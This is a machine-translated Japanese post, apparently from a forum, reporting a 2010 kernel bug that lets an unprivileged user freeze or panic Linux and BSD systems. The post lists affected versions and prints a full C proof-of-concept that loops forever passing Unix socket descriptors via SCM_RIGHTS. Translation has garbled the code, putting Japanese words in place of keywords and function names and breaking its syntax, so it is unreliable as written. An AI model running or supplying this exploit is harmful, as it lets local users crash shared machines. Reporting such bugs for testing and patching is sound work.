コンピューターをフリーズさせる公開コード(すべてのコアの100%ロード、ファイル記述子の枯渇)。 
      
        
        
        
      
    
      
        
        
        
      
     コードリンク: 
lkml.org/lkml/2010/11/25/8 
      
        
        
        
      
    
      
        
        
        
      
      27、32のチェック-ハングが再現されます。  32/64ビット。 
      
        
        
        
      
    
      
        
        
        
      
     明確にしましょう。1〜2秒後にクラッシュダンプが飛んで(読む時間がありません)、ホストが過負荷になっています。 別のテストでは、プログラムが終了した後(約5〜7秒後に)システムがクラッシュしました。 
      
        
        
        
      
    
      
        
        
        
      
      LauraのPSエキスパートは、FreeBSD 8.1もクラッシュすると言います。 
      
        
        
        
      
    
      
        
        
        
      
      PPS突然-2.6.18以降のCentOS 5.5ではクラッシュしません。 ルートから実行する場合、ユーザーからドロップします-静かに実行します。 この場合、隣接するコンソールのルートは作業に干渉せず、システムはクラッシュしません。 
      
        
        
        
      
    
      
        
        
        
      
     状況を明確にしようとしています: 
      
        
        
        
      
    
      
        
        
        
      
      1)非特権ユーザーのCentOS 2.6.18 / 64は影響を受けません。 
      
        
        
        
      
      2)権限のないユーザーがいるDebian Squeeze 2.6.34 / 64が公開されています(カーネルパニック)。 
      
        
        
        
      
      3)噂によると、一部のFreeBSDで再現することが可能でした(コメントから-FreeBSD 8.2-PRERELEASEは再生されません) 
      
        
        
        
      
      4)コメントから-Ubuntu 2.6.32 / 64では再現できませんでしたが、2.6.36では再現されています。 
      
        
        
        
      
      5)Ubuntu 2.6.34 / 64-再生可能 
      
        
        
        
      
      6)コメントから-RHEL5.5はフリーズしませんが、速度が低下し、プロセスを強制終了できなくなります。 
      
        
        
        
      
      7)コメントから:FreeBSD 4.11、8.1、OpebBSD 4.6、4.8、DragonFLY BSD 2.8.0-影響あり 
      
        
        
        
      
      8)OpenVZ + 2.6.18 Debian / Centos-再生できません。 
      
        
        
        
      
    
      
        
        
        
      
     テストする人のためのPPPS-非特権ユーザーから始める必要があります。 
      
        
        
        
      
    
      
        
        
        
      
     テストテキスト: 
      
        
        
        
      
    
      
        
        
        
      
     #include <sys / socket.h>
 #include <sys / un.h>
 static int send_fd(int unix_fd、int fd)
 {
   struct msghdr msgh;
   struct cmsghdr * cmsg;
   char buf [CMSG_SPACE(sizeof(fd))];
   memset(&msgh、0、sizeof(msgh));
   memset(buf、0、sizeof(buf));
   msgh.msg_control = buf;
   msgh.msg_controllen = sizeof(buf);
   cmsg = CMSG_FIRSTHDR(&msgh);
   cmsg-> cmsg_len = CMSG_LEN(sizeof(fd));
   cmsg-> cmsg_level = SOL_SOCKET;
   cmsg-> cmsg_type = SCM_RIGHTS;
   msgh.msg_controllen = cmsg-> cmsg_len;
   memcpy(CMSG_DATA(cmsg)、&fd、sizeof(fd));
   return sendmsg(unix_fd、&msgh、0);
 }
 int main()
 {
   int fd [2]、ff [2];
   intターゲット;
   if(ソケットペア(PF_UNIX、SOCK_SEQPACKET、0、fd)==-1)
     1を返します。
   (;;)
   {
     if(ソケットペア(PF_UNIX、SOCK_SEQPACKET、0、ff)==-1)
	 return 2;
     send_fd(ff [0]、fd [0]);
     send_fd(ff [0]、fd [1]);
    閉じる(fd [1]);
    閉じる(fd [0]);
     fd [0] = ff [0];
     fd [1] = ff [1];
   }
 }